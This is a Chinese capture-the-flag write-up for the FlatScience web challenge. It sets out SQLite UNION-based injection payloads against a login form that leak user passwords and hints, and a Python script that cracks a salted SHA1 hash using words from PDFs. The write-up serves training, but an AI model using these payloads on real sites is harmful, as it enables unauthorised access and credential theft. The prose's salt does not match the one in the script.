攻防世界----(web进阶)FlatScience--WP

打开题目:
发现都是pdf文件。看不懂
先来一套广播体操:我用的是御剑和AWVS
发现两个有趣的页面:
1.login.php
2.admin.php
(还有一个robots.txt, 打开之后也是指向上面两个页面的)

先试一下admin.php,尝试几个密码登陆没有结果。
查看页面源代码
有提示,就先暂时先不考虑弱口令
攻防世界----(web进阶)FlatScience--WP_第1张图片
打开另一个页面login.php
查看源代码,依旧有提示
攻防世界----(web进阶)FlatScience--WP_第2张图片
按照提示转到login.php?debug页面
成功读取源代码
创建了一个SQLite3对象,查阅得知是一个数据库
在下面这句话里存在注入
攻防世界----(web进阶)FlatScience--WP_第3张图片
参考网上的WP
查询字段:
构造查询密码的SQL:usr=%27 UNION SELECT id, password from Users–+&pw=chybeta
构造查询用户的SQL:usr=%27 UNION SELECT id, name from Users --+&pw=chybeta
构造查询隐藏线索的SQL:usr=%27 UNION SELECT id, hint from Users–+&pw=chybeta

有一点,没看明白,每次查询的时候都带上ID,我试了一下不带ID就查不出来。。。
查询结果:
攻防世界----(web进阶)FlatScience--WP_第4张图片
攻防世界----(web进阶)FlatScience--WP_第5张图片
攻防世界----(web进阶)FlatScience--WP_第6张图片
最后一句说,我喜欢的关键字在我喜欢的文章里。
我哪知道作者喜欢啥文章,开头有两个pdf文件
把整篇文章的每个单词提取出来,加上字符串“”,经过sha1函数加工得到的字符串应该等于上面查询出来的password,3fab54a50e770d830c0416df817567662a9dc85c
为什么这么算???
看这里的password
攻防世界----(web进阶)FlatScience--WP_第7张图片
网上的脚本:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib


def get_pdf():#打开pdf文件
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):#获取pdf文本
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():#读取密码
    pdf_path = get_pdf()
    for i in pdf_path:
        print
        "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word + "Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print
                "Find the password :" + word
                exit()


if __name__ == "__main__":
    find_password()

得到密码:ThinJerboa

在admin页面登录可得到flag

你可能感兴趣的:(ctf-writeup)